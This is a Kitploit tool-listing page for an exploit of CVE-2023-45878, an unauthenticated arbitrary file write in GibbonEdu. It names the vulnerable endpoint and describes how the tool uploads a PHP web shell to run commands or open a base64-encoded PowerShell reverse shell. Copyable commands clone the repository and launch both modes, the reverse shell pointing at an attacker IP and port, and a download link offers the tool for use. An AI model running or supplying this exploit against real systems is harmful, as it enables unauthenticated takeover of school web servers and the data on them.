Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-45878 — GibbonEdu Arbitrary File Write to Remote Code Execution | Kitploit
Tools/GitHubGitHub/davidzzo23/cve-2023-45878
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdavidzzo23/cve-2023-45878

CVE-2023-45878

GibbonEdu Arbitrary File Write to Remote Code Execution

View Repository
321 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-45878

GibbonEdu Arbitrary File Write to Web Shell Execution

Description

This repository contains an exploit for CVE-2023-45878, an arbitrary file write vulnerability in GibbonEdu. The vulnerability affects the rubrics_visualise_saveAjax.php endpoint and allows an unauthenticated attacker to upload arbitrary files to the web server.

This script leverages the vulnerability to upload a PHP web shell and either:

  • Execute a specific system command;
  • Trigger a base64-encoded PowerShell reverse shell to gain remote access.

Usage

The script supports two modes of operation:

  • --command (-c): Execute a specific system command remotely.
  • --shell (-s): Trigger a PowerShell reverse shell to the attacker's listener.

How to Run the Exploit

1. Clone the Repository

root@kitploit:~
git clone https://github.com/davidzzo23/CVE-2023-45878.git
cd CVE-2023-45878

2. Run the Web Shell Exploit

  • Run a Remote Command:
root@kitploit:~
python3 CVE-2023-45878.py -t <target_domain> -c "whoami"
  • Trigger a PowerShell Reverse Shell:
root@kitploit:~
python3 CVE-2023-45878.py -t <target_domain> -s -i <ip> -p <port>

Disclaimer

This script is intended for educational purposes only. Unauthorized use of this exploit on systems without permission is illegal. The author is not responsible for any misuse or damages caused by this exploit.

Download Tool